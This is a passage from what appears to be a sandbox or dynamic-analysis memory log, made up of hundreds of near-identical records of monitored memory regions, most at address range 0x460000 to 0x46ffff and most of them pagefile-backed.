entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12265 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12266 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12267 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12268 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12269 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12270 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12271 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12272 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12273 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12274 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12275 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12276 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12277 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12278 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12279 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12280 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12281 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12282 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12283 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12284 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12285 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12286 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12287 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12288 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12289 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12290 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12291 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12292 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12293 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12294 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12295 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12296 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12297 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12298 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12299 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12300 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12301 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12302 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12303 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12304 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12305 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12306 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12307 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12308 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12309 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12310 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12311 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12312 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12313 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12314 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12315 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12316 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12317 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12318 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12319 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12320 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12321 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12322 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12323 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12324 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12325 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12326 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12327 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12328 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12329 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12330 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12331 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12332 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12333 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12334 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12335 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12336 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12337 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12338 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12339 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12340 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12341 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12342 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12343 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12344 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12345 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12346 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12347 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12348 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12349 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12350 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12352 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12353 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12354 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12355 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12356 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12357 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 12358 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 12359 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12360 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12361 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12362 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12363 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12364 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12365 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12366 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12367 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12368 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12369 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12370 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12371 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12372 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12373 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12374 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12375 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12376 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12377 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12378 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12379 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12380 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12381 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12382 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12383 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12384 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12385 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12386 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12387 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12388 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12389 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12390 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12391 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12392 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12393 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12394 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12395 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12396 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12397 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12398 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12399 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12400 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12401 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12402 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12403 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12404 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12405 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12406 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12407 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12408 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12409 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12410 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12411 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12412 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12413 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12414 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12415 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12416 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12417 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12418 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12419 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12420 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12421 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12422 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12423 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12424 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12425 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12426 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12427 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12428 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12429 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12430 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12431 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12432 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12433 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12434 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12435 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12436 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12437 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12438 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12439 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12440 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12441 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12442 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12443 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12444 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12445 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12446 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12447 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12448 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12449 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12450 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12451 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12452 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12453 